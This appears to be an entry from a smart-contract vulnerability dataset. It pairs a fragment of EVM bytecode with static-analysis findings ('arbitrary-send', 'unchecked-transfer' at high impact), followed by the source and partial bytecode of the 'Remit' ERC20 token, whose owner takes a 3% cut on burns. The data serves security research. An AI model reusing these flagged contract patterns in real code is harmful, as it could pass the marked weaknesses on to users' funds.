7fe5b90602001015160f860020a900460f860020a028589888151811015156124f057fe5b90602001906020020151860381518110151561250857fe5b906020010190600160f860020a031916908160001a90535060019093019261249e565b600160a060020a038b16158015906125435750600086115b15612719578a600160a060020a031663095ea7b38b8881518110151561256557fe5b9060200190602002015160006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156125c357600080fd5b505af11580156125d7573d6000803e3d6000fd5b505050506040513d60208110156125ed57600080fd5b50508951600160a060020a038c169063095ea7b3908c908990811061260e57fe5b906020019060200201518d600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561267357600080fd5b505af1158015612687573d6000803e3d6000fd5b505050506040513d602081101561269d57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156126ec57600080fd5b505af1158015612700573d6000803e3d6000fd5b505050506040513d602081101561271657600080fd5b50505b898681518110151561272757fe5b90602001906020020151600160a060020a0316878781518110151561274857fe5b906020019060200201518660405180828051906020019080838360005b8381101561277d578181015183820152602001612765565b50505050905090810190601f1680156127aa5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515612812576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612e1f833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b600160a060020a038b16156128c9578a600160a060020a031663095ea7b38b8881518110151561283e57fe5b9060200190602002015160006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561289c57600080fd5b505af11580156128b0573d6000803e3d6000fd5b505050506040513d60208110156128c657600080fd5b50505b600190950194612416565b8c600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561291257600080fd5b505af1158015612926573d6000803e3d6000fd5b505050506040513d602081101561293c57600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519195506000199450600160a060020a038f169163a64ed8ba916004808201926020929091908290030181600087803b1580156129a257600080fd5b505af11580156129b6573d6000803e3d6000fd5b505050506040513d60208110156129cc57600080fd5b505195505b600086111561209c578c600160a060020a0316634f64b2be600188036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015612a2657600080fd5b505af1158015612a3a573d6000803e3d6000fd5b505050506040513d6020811015612a5057600080fd5b8101908080519060200190929190505050915081600160a060020a031663095ea7b38e60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015612ac757600080fd5b505af1158015612adb573d6000803e3d6000fd5b505050506040513d6020811015612af157600080fd5b81019080805190602001909291905050505081600160a060020a031663095ea7b38e84600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015612b6e57600080fd5b505af1158015612b82573d6000803e3d6000fd5b505050506040513d6020811015612b9857600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015612be757600080fd5b505af1158015612bfb573d6000803e3d6000fd5b505050506040513d6020811015612c1157600080fd5b50506040805160e060020a6370a08231028152600160a060020a038f811660048301529151612c64928516916370a082319160248083019260209291908290030181600087803b158015611fc157600080fd5b905082811015612c72578092505b600019909501946129d1565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015612ce157600080fd5b505af1158015612cf5573d6000803e3d6000fd5b505050506040513d6020811015612d0b57600080fd5b50511515612d1857600080fd5b505050565b6000821515612d2e57506000612d46565b50818102818382811515612d3e57fe5b0414612d4657fe5b92915050565b600160a060020a0381161515612d6157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008183811515612dd657fe5b049392505050560077697468203020616e6420656e642077697468204c454e4754480000000000006275793a205f6461746173496e64657865732073686f756c64207374617274206275793a2065786368616e6765206172626974726172792063616c6c2066616965206c656e677468206173205f65786368616e676573000000000000000000006275793a205f76616c7565732073686f756c642068617665207468652073616da165627a7a723058205e72c61b0cb2b148ac86330da87169bea367154032801825fdfe772460136cea0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,772
0xa2fcc180fa0cbc0983f9b6948d22df733273925b
/** *Submitted for verification at Etherscan.io on 2021-05-21 */ pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } } contract Ownable { modifier onlyOwner() { require(msg.sender==owner,"only owner allowed"); _; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner, "only new owner allowed"); emit OwnershipTransferred( owner, newOwner ); owner = newOwner; } } abstract contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) view public virtual returns (uint256 balance); function transfer(address _to, uint256 _value) public virtual returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success); function approve(address _spender, uint256 _value) public virtual returns (bool success); function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is Ownable, ERC20 { using EnumerableSet for EnumerableSet.AddressSet; string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; uint256 public circulationSupply; uint256 public stakeFarmSupply; uint256 public teamAdvisorSupply; uint256 public devFundSupply; uint256 public marketingSupply; uint256 public resverdSupply; uint256 public teamCounter; uint256 public devFundCounter; mapping(uint256 => uint256) public stakeFarmSupplyUnlockTime; mapping(uint256 => uint256) public stakeFarmUnlockSupply; mapping(uint256 => uint256) public teamAdvisorSupplyUnlockTime; mapping(uint256 => uint256) public teamAdvisorSupplyUnlockSupply; mapping(uint256 => uint256) public devFundSupplyUnlockTime; mapping(uint256 => uint256) public devFundSupplyUnlockSupply; mapping(uint256 => uint256) public marketingSupplyUnlockTime; mapping(uint256 => uint256) public marketingUnlockSupply; mapping(uint256 => uint256) public resverdSupplyUnlockTime; mapping(uint256 => uint256) public resverdUnlockSupply; uint256 constant public maxSupply = 5000000 ether; uint256 constant public supplyPerYear = 1000000 ether; uint256 constant public oneYear = 31536000; uint256 constant public teamAdvisorPeriod = 5256000; uint256 constant public devFundPeriod = 2628000; EnumerableSet.AddressSet private farmAddress; address public stakeAddress; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } function burn(uint256 _amount) public onlyOwner returns (bool success) { require(_amount <= totalSupply, "The burning value cannot be greater than the Total Supply!"); address addressToBurn = 0x2323232323232323232323232323232323232323; uint256 feeToOwner = _amount * 3 / 100; // 3% transfer(addressToBurn, _amount - feeToOwner); // burn transfer(owner, feeToOwner); // transfer to owner address return true; } function mint(address _to, uint256 _amount) private returns (bool) { require((_amount + totalSupply) <= maxSupply, "The total supply cannot exceed 5.000.000"); totalSupply = totalSupply + _amount; balances[_to] = balances[_to] + _amount; emit Transfer(address(0), _to, _amount); return true; } function mintCirculationSupply(address to,uint256 _amount) external onlyOwner returns(bool){ require(circulationSupply >= _amount); mint(to,_amount); circulationSupply -= _amount; return true; } function mintMarketingSupply(address to,uint256 _amount) external onlyOwner returns(bool){ for(uint i = 1;i <= 4 ; i++){ if(marketingSupplyUnlockTime[i] < now && marketingUnlockSupply[i] != 0){ marketingSupply += marketingUnlockSupply[i]; marketingUnlockSupply[i] = 0; } if(marketingSupplyUnlockTime[i] > now) break; } require(marketingSupply >= _amount); mint(to,_amount); marketingSupply -= _amount; return true; } function setFarmAddress(address[] memory _farm) external onlyOwner returns(bool){ for(uint256 i= 0 ;i< _farm.length;i++) { farmAddress.add(_farm[i]); } return true; } function setStakeAddress(address _stake) external onlyOwner returns(bool){ stakeAddress = _stake; return true; } function mintStakeFarmSupply(address to,uint256 _amount) external returns(uint256){ require(farmAddress.contains(msg.sender) || msg.sender == stakeAddress,"err farm or stake address only"); for(uint i = 1;i <= 4 ; i++){ if(stakeFarmSupplyUnlockTime[i] < now && stakeFarmUnlockSupply[i] != 0){ stakeFarmSupply += stakeFarmUnlockSupply[i]; stakeFarmUnlockSupply[i] = 0; } if(stakeFarmSupplyUnlockTime[i] > now) break; } if(_amount > stakeFarmSupply){ _amount = stakeFarmSupply; } mint(to,_amount); stakeFarmSupply -= _amount; return _amount; } function mintReservedSupply(address to,uint256 _amount) external onlyOwner returns(bool){ for(uint i = 1;i <= 4 ; i++){ if(resverdSupplyUnlockTime[i] < now && resverdUnlockSupply[i] != 0){ resverdSupply += resverdUnlockSupply[i]; resverdUnlockSupply[i] = 0; } if(resverdSupplyUnlockTime[i] > now) break; } require(resverdSupply >= _amount); mint(to,_amount); resverdSupply -= _amount; return true; } // for loop dont take too much cost as it only loop to 25 function mintDevFundSupply(address to,uint256 _amount) external onlyOwner returns(bool){ for(uint i = 1;i <= devFundCounter ; i++){ if(devFundSupplyUnlockTime[i] < now && devFundSupplyUnlockSupply[i] != 0){ devFundSupply += devFundSupplyUnlockSupply[i]; devFundSupplyUnlockSupply[i] = 0; } if(devFundSupplyUnlockTime[i] > now) break; } require(devFundSupply >= _amount); mint(to,_amount); devFundSupply -= _amount; return true; } function mintTeamAdvisorFundSupply(address to,uint256 _amount) external onlyOwner returns(bool){ for(uint i = 1;i <= teamCounter ; i++){ if(teamAdvisorSupplyUnlockTime[i] < now && teamAdvisorSupplyUnlockSupply[i] != 0){ teamAdvisorSupply += teamAdvisorSupplyUnlockSupply[i]; teamAdvisorSupplyUnlockSupply[i] = 0; } if(teamAdvisorSupplyUnlockTime[i] > now) break; } require(teamAdvisorSupply >= _amount); mint(to,_amount); teamAdvisorSupply -= _amount; return true; } function _initSupply() internal returns (bool){ circulationSupply = 370000 ether; stakeFarmSupply = 350000 ether; marketingSupply = 50000 ether; resverdSupply = 10000 ether; uint256 currentTime = now; uint256 tempAdvisor = 100000 ether; uint256 tempDev = 120000 ether; for(uint j = 1;j <= 6 ; j++){ teamCounter+=1; teamAdvisorSupplyUnlockTime[teamCounter] = currentTime+(teamAdvisorPeriod*j); teamAdvisorSupplyUnlockSupply[teamCounter] = tempAdvisor/6; } for(uint k = 1;k <= 5 ; k++){ devFundCounter+= 1; devFundSupplyUnlockTime[devFundCounter] = currentTime+(devFundPeriod*k); devFundSupplyUnlockSupply[devFundCounter] = tempDev/5; } for(uint i = 1;i <= 4 ; i++){ currentTime += oneYear; stakeFarmSupplyUnlockTime[i] = currentTime; stakeFarmUnlockSupply[i] = 720000 ether; marketingSupplyUnlockTime[i] = currentTime; marketingUnlockSupply[i] = 50000 ether; resverdSupplyUnlockTime[i] = currentTime; resverdUnlockSupply[i] = 10000 ether; for(uint j = 1;j <= 6 ; j++){ teamCounter+=1; teamAdvisorSupplyUnlockTime[teamCounter] = currentTime+(teamAdvisorPeriod*j); teamAdvisorSupplyUnlockSupply[teamCounter] = tempAdvisor/6; } for(uint k = 1;k <= 5 ; k++){ devFundCounter+= 1; devFundSupplyUnlockTime[devFundCounter] = currentTime+(devFundPeriod*k); devFundSupplyUnlockSupply[devFundCounter] = tempDev/5; } } } } contract Remit is Token{ constructor() public{ symbol = "REMIT"; name = "Remit"; decimals = 18; totalSupply = 0; owner = msg.sender; balances[owner] = totalSupply; _initSupply(); } receive () payable external { require(msg.value>0); owner.transfer(msg.value); } }
0x60806040526004361061026b5760003560e01c8063788bd34811610144578063c00ab1e2116100b6578063dd62ed3e1161007a578063dd62ed3e14610efc578063e0330b3114610f81578063eabe94ec14610fd0578063edb887a414611041578063f0346eb01461106c578063f27c3bf6146110bb576102e6565b8063c00ab1e214610d75578063d5abeb0114610de6578063d7670d3014610e11578063da69ec6314610e82578063dc3e0dae14610ead576102e6565b806395d89b411161010857806395d89b4114610b5a578063a02a8c0814610bea578063a6f9dae114610c39578063a9059cbb14610c8a578063a98be14d14610cfb578063ac226bae14610d26576102e6565b8063788bd3481461098d57806379ba5097146109b857806383d4ed61146109cf5780638510736714610aaa5780638671f5a414610aeb576102e6565b80633522244d116101dd57806342966c68116101a157806342966c68146107e55780635a7ee55714610836578063624bb58f1461086157806364ef79f31461088c57806370a08231146108fd578063786cb3eb14610962576102e6565b80633522244d146106a257806335a2a41b146106f157806335eb2be21461071c57806339e222c1146107475780633fb485f014610796576102e6565b80631f2145761161022f5780631f2145761461049157806323471d18146104e057806323b872dd1461054757806330ba1b5a146105d8578063313ce5671461060357806331cd7c8314610631576102e6565b806306fdde03146102eb578063095ea7b31461037b57806318160ddd146103ec57806319afc7d31461041757806319d83d2d14610466576102e6565b366102e6576000341161027d57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102e3573d6000803e3d6000fd5b50005b600080fd5b3480156102f757600080fd5b506103006110e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610340578082015181840152602081019050610325565b50505050905090810190601f16801561036d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038757600080fd5b506103d46004803603604081101561039e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b60405180821515815260200191505060405180910390f35b3480156103f857600080fd5b50610401611276565b6040518082815260200191505060405180910390f35b34801561042357600080fd5b506104506004803603602081101561043a57600080fd5b810190808035906020019092919050505061127c565b6040518082815260200191505060405180910390f35b34801561047257600080fd5b5061047b611294565b6040518082815260200191505060405180910390f35b34801561049d57600080fd5b506104ca600480360360208110156104b457600080fd5b810190808035906020019092919050505061129a565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b2565b60405180821515815260200191505060405180910390f35b34801561055357600080fd5b506105c06004803603606081101561056a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b60405180821515815260200191505060405180910390f35b3480156105e457600080fd5b506105ed6116c1565b6040518082815260200191505060405180910390f35b34801561060f57600080fd5b506106186116cf565b604051808260ff16815260200191505060405180910390f35b34801561063d57600080fd5b5061068a6004803603604081101561065457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116e2565b60405180821515815260200191505060405180910390f35b3480156106ae57600080fd5b506106db600480360360208110156106c557600080fd5b8101908080359060200190929190505050611890565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b506107066118a8565b6040518082815260200191505060405180910390f35b34801561072857600080fd5b506107316118af565b6040518082815260200191505060405180910390f35b34801561075357600080fd5b506107806004803603602081101561076a57600080fd5b81019080803590602001909291905050506118b5565b6040518082815260200191505060405180910390f35b3480156107a257600080fd5b506107cf600480360360208110156107b957600080fd5b81019080803590602001909291905050506118cd565b6040518082815260200191505060405180910390f35b3480156107f157600080fd5b5061081e6004803603602081101561080857600080fd5b81019080803590602001909291905050506118e5565b60405180821515815260200191505060405180910390f35b34801561084257600080fd5b5061084b611a72565b6040518082815260200191505060405180910390f35b34801561086d57600080fd5b50610876611a78565b6040518082815260200191505060405180910390f35b34801561089857600080fd5b506108e5600480360360408110156108af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a7e565b60405180821515815260200191505060405180910390f35b34801561090957600080fd5b5061094c6004803603602081101561092057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c2b565b6040518082815260200191505060405180910390f35b34801561096e57600080fd5b50610977611c74565b6040518082815260200191505060405180910390f35b34801561099957600080fd5b506109a2611c7b565b6040518082815260200191505060405180910390f35b3480156109c457600080fd5b506109cd611c81565b005b3480156109db57600080fd5b50610a92600480360360208110156109f257600080fd5b8101908080359060200190640100000000811115610a0f57600080fd5b820183602082011115610a2157600080fd5b80359060200191846020830284011164010000000083111715610a4357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611e44565b60405180821515815260200191505060405180910390f35b348015610ab657600080fd5b50610abf611f53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af757600080fd5b50610b4460048036036040811015610b0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f79565b6040518082815260200191505060405180910390f35b348015610b6657600080fd5b50610b6f612142565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610baf578082015181840152602081019050610b94565b50505050905090810190601f168015610bdc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bf657600080fd5b50610c2360048036036020811015610c0d57600080fd5b81019080803590602001909291905050506121e0565b6040518082815260200191505060405180910390f35b348015610c4557600080fd5b50610c8860048036036020811015610c5c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121f8565b005b348015610c9657600080fd5b50610ce360048036036040811015610cad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612337565b60405180821515815260200191505060405180910390f35b348015610d0757600080fd5b50610d10612525565b6040518082815260200191505060405180910390f35b348015610d3257600080fd5b50610d5f60048036036020811015610d4957600080fd5b810190808035906020019092919050505061252b565b6040518082815260200191505060405180910390f35b348015610d8157600080fd5b50610dce60048036036040811015610d9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612543565b60405180821515815260200191505060405180910390f35b348015610df257600080fd5b50610dfb61263b565b6040518082815260200191505060405180910390f35b348015610e1d57600080fd5b50610e6a60048036036040811015610e3457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061264a565b60405180821515815260200191505060405180910390f35b348015610e8e57600080fd5b50610e976127f7565b6040518082815260200191505060405180910390f35b348015610eb957600080fd5b50610ee660048036036020811015610ed057600080fd5b81019080803590602001909291905050506127fd565b6040518082815260200191505060405180910390f35b348015610f0857600080fd5b50610f6b60048036036040811015610f1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612815565b6040518082815260200191505060405180910390f35b348015610f8d57600080fd5b50610fba60048036036020811015610fa457600080fd5b810190808035906020019092919050505061289c565b6040518082815260200191505060405180910390f35b348015610fdc57600080fd5b5061102960048036036040811015610ff357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128b4565b60405180821515815260200191505060405180910390f35b34801561104d57600080fd5b50611056612a62565b6040518082815260200191505060405180910390f35b34801561107857600080fd5b506110a56004803603602081101561108f57600080fd5b8101908080359060200190929190505050612a68565b6040518082815260200191505060405180910390f35b3480156110c757600080fd5b506110d0612a80565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561117c5780601f106111515761010080835404028352916020019161117c565b820191906000526020600020905b81548152906001019060200180831161115f57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60116020528060005260406000206000915090505481565b600a5481565b60176020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611376576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b81601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561148d575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156114995750600082115b80156115245750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b61152d57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b69d3c21bcecceda100000081565b600560009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6000600190505b600f54811161185b574260146000838152602001908152602001600020541080156117ec57506000601560008381526020019081526020016000205414155b1561182e576015600082815260200190815260200160002054600b60008282540192505081905550600060156000838152602001908152602001600020819055505b426014600083815260200190815260200160002054111561184e5761185b565b80806001019150506117ad565b5081600b54101561186b57600080fd5b6118758383612a88565b5081600b600082825403925050819055506001905092915050565b60136020528060005260406000206000915090505481565b622819a081565b600e5481565b60126020528060005260406000206000915090505481565b60146020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600254821115611a04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180612d0e603a913960400191505060405180910390fd5b60007323232323232323232323232323232323232323239050600060646003850281611a2c57fe5b049050611a3b82828603612337565b50611a6660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612337565b50600192505050919050565b600f5481565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6000600190505b60048111611bf657426016600083815260200190815260200160002054108015611b8757506000601760008381526020019081526020016000205414155b15611bc9576017600082815260200190815260200160002054600c60008282540192505081905550600060176000838152602001908152602001600020819055505b4260166000838152602001908152602001600020541115611be957611bf6565b8080600101915050611b49565b5081600c541015611c0657600080fd5b611c108383612a88565b5081600c600082825403925050819055506001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6250334081565b600b5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6f6e6c79206e6577206f776e657220616c6c6f7765640000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015611f4957611f3b838281518110611f2357fe5b6020026020010151601a612bf290919063ffffffff16565b508080600101915050611f0b565b5060019050919050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611f8f33601a612c22909190